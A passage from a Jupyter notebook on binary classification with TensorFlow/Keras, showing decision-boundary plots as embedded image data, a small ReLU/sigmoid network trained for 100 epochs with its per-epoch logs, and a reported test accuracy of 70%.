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\n", - "text/plain": [ - "
" - ] - }, - "metadata": { - "needs_background": "light" - }, - "output_type": "display_data" - } - ], - "source": [ - "# Plot the decision boundaries for the training and test sets\n", - "plt.figure(figsize=(12, 6))\n", - "plt.subplot(1, 2, 1)\n", - "plt.title(\"Train\")\n", - "plot_decision_boundary(model_17, X=X_train, y=y_train)\n", - "plt.subplot(1, 2, 2)\n", - "plt.title(\"Test\")\n", - "plot_decision_boundary(model_17, X=X_test, y=y_test)\n", - "plt.show()" - ] - }, - { - "cell_type": "code", - "execution_count": 101, - "id": "4c4a677e", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "Epoch 1/100\n", - "32/32 [==============================] - 1s 1ms/step - loss: 0.7209 - accuracy: 0.4930\n", - "Epoch 2/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7140 - accuracy: 0.4960\n", - "Epoch 3/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7095 - accuracy: 0.4920\n", - "Epoch 4/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7063 - accuracy: 0.4740\n", - "Epoch 5/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7038 - accuracy: 0.4790\n", - "Epoch 6/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.7021 - accuracy: 0.4730\n", - "Epoch 7/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.7007 - accuracy: 0.4730\n", - "Epoch 8/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6995 - accuracy: 0.4720\n", - "Epoch 9/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6983 - accuracy: 0.4600\n", - "Epoch 10/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6973 - accuracy: 0.4490\n", - "Epoch 11/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6965 - accuracy: 0.4640\n", - "Epoch 12/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6958 - accuracy: 0.4500\n", - "Epoch 13/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6951 - accuracy: 0.4400\n", - "Epoch 14/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6944 - accuracy: 0.4680\n", - "Epoch 15/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6936 - accuracy: 0.4660\n", - "Epoch 16/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6930 - accuracy: 0.4720\n", - "Epoch 17/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6924 - accuracy: 0.4760\n", - "Epoch 18/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6917 - accuracy: 0.4840\n", - "Epoch 19/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6911 - accuracy: 0.4980\n", - "Epoch 20/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6904 - accuracy: 0.5000\n", - "Epoch 21/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6898 - accuracy: 0.5050\n", - "Epoch 22/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6893 - accuracy: 0.5090\n", - "Epoch 23/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6887 - accuracy: 0.5070\n", - "Epoch 24/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6882 - accuracy: 0.5090\n", - "Epoch 25/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6876 - accuracy: 0.5150\n", - "Epoch 26/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6871 - accuracy: 0.5150\n", - "Epoch 27/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6865 - accuracy: 0.5230\n", - "Epoch 28/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6861 - accuracy: 0.5240\n", - "Epoch 29/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6856 - accuracy: 0.5230\n", - "Epoch 30/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6848 - accuracy: 0.5270\n", - "Epoch 31/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6843 - accuracy: 0.5310\n", - "Epoch 32/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6839 - accuracy: 0.5250\n", - "Epoch 33/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6835 - accuracy: 0.5250\n", - "Epoch 34/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6832 - accuracy: 0.5310\n", - "Epoch 35/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6828 - accuracy: 0.5320\n", - "Epoch 36/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6825 - accuracy: 0.5300\n", - "Epoch 37/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6820 - accuracy: 0.5350\n", - "Epoch 38/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6816 - accuracy: 0.5380\n", - "Epoch 39/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6811 - accuracy: 0.5380\n", - "Epoch 40/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6808 - accuracy: 0.5470\n", - "Epoch 41/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6804 - accuracy: 0.5490\n", - "Epoch 42/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6800 - accuracy: 0.5480\n", - "Epoch 43/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6794 - accuracy: 0.5470\n", - "Epoch 44/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6788 - accuracy: 0.5490\n", - "Epoch 45/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6780 - accuracy: 0.5510\n", - "Epoch 46/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6773 - accuracy: 0.5470\n", - "Epoch 47/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6770 - accuracy: 0.5560\n", - "Epoch 48/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6765 - accuracy: 0.5490\n", - "Epoch 49/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6761 - accuracy: 0.5490\n", - "Epoch 50/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6757 - accuracy: 0.5520\n", - "Epoch 51/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6753 - accuracy: 0.5510\n", - "Epoch 52/100\n", - "32/32 [==============================] - ETA: 0s - loss: 0.6545 - accuracy: 0.62 - 0s 1ms/step - loss: 0.6749 - accuracy: 0.5570\n", - "Epoch 53/100\n", - "32/32 [==============================] - 0s 2ms/step - loss: 0.6745 - accuracy: 0.5540\n", - "Epoch 54/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6741 - accuracy: 0.5590\n", - "Epoch 55/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6736 - accuracy: 0.5610\n", - "Epoch 56/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6732 - accuracy: 0.5600\n", - "Epoch 57/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6727 - accuracy: 0.5590\n", - "Epoch 58/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6722 - accuracy: 0.5620\n", - "Epoch 59/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6717 - accuracy: 0.5670\n", - "Epoch 60/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6714 - accuracy: 0.5670\n", - "Epoch 61/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6709 - accuracy: 0.5630\n", - "Epoch 62/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6704 - accuracy: 0.5650\n", - "Epoch 63/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6699 - accuracy: 0.5620\n", - "Epoch 64/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6694 - accuracy: 0.5660\n", - "Epoch 65/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6690 - accuracy: 0.5680\n", - "Epoch 66/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6684 - accuracy: 0.5660\n", - "Epoch 67/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6680 - accuracy: 0.5660\n", - "Epoch 68/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6673 - accuracy: 0.5670\n", - "Epoch 69/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6668 - accuracy: 0.5740\n", - "Epoch 70/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6663 - accuracy: 0.5730\n", - "Epoch 71/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6656 - accuracy: 0.5730\n", - "Epoch 72/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6652 - accuracy: 0.5800\n", - "Epoch 73/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6645 - accuracy: 0.5830\n", - "Epoch 74/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6639 - accuracy: 0.5810\n", - "Epoch 75/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6632 - accuracy: 0.5920\n", - "Epoch 76/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6626 - accuracy: 0.6020\n", - "Epoch 77/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6620 - accuracy: 0.6000\n", - "Epoch 78/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6613 - accuracy: 0.6120\n", - "Epoch 79/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6605 - accuracy: 0.6170\n", - "Epoch 80/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6599 - accuracy: 0.6080\n", - "Epoch 81/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6594 - accuracy: 0.6150\n", - "Epoch 82/100\n" - ] - }, - { - "name": "stdout", - "output_type": "stream", - "text": [ - "32/32 [==============================] - 0s 1ms/step - loss: 0.6586 - accuracy: 0.6230\n", - "Epoch 83/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6580 - accuracy: 0.6280\n", - "Epoch 84/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6572 - accuracy: 0.6320\n", - "Epoch 85/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6565 - accuracy: 0.6390\n", - "Epoch 86/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6557 - accuracy: 0.6360\n", - "Epoch 87/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6550 - accuracy: 0.6450\n", - "Epoch 88/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6543 - accuracy: 0.6460\n", - "Epoch 89/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6535 - accuracy: 0.6510\n", - "Epoch 90/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6528 - accuracy: 0.6510\n", - "Epoch 91/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6521 - accuracy: 0.6560\n", - "Epoch 92/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6513 - accuracy: 0.6630\n", - "Epoch 93/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6505 - accuracy: 0.6610\n", - "Epoch 94/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6498 - accuracy: 0.6650\n", - "Epoch 95/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6489 - accuracy: 0.6700\n", - "Epoch 96/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6481 - accuracy: 0.6780\n", - "Epoch 97/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6473 - accuracy: 0.6750\n", - "Epoch 98/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6464 - accuracy: 0.6840\n", - "Epoch 99/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6456 - accuracy: 0.7020\n", - "Epoch 100/100\n", - "32/32 [==============================] - 0s 1ms/step - loss: 0.6449 - accuracy: 0.6880\n" - ] - } - ], - "source": [ - "# Set random seed (Model with removing optimizer)\n", - "tf.random.set_seed(42) \n", - "\n", - "# Create a model\n", - "model_77 = tf.keras.Sequential([\n", - " tf.keras.layers.Dense(6, activation=tf.keras.activations.relu), # hidden layer 1, ReLU activation\n", - " tf.keras.layers.Dense(1, activation=tf.keras.activations.sigmoid) # ouput layer, sigmoid activation\n", - "])\n", - "\n", - "# Compile the model\n", - "model_77.compile(loss=tf.keras.losses.binary_crossentropy,\n", - " metrics=['accuracy'])\n", - "\n", - "# Fit the model\n", - "hhh=model_77.fit(X, y, epochs=100, verbose=1)" - ] - }, - { - "cell_type": "code", - "execution_count": 102, - "id": "32f23528", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "7/7 [==============================] - 0s 2ms/step - loss: 0.6441 - accuracy: 0.7000\n", - "Model loss on the test set: 0.6441311836242676\n", - "Model accuracy on the test set: 70.00%\n" - ] - } - ], - "source": [ - "loss, accuracy = model_77.evaluate(X_test, y_test)\n", - "print(f\"Model loss on the test set: {loss}\")\n", - "print(f\"Model accuracy on the test set: {100*accuracy:.2f}%\")" - ] - }, - { - "cell_type": "code", - "execution_count": 103, - "id": "487193d3", - "metadata": {}, - "outputs": [ - { - "name": "stdout", - "output_type": "stream", - "text": [ - "doing binary classifcation...\n", - "doing binary classifcation...\n" - ] - }, - { - "data": { - "image/png": 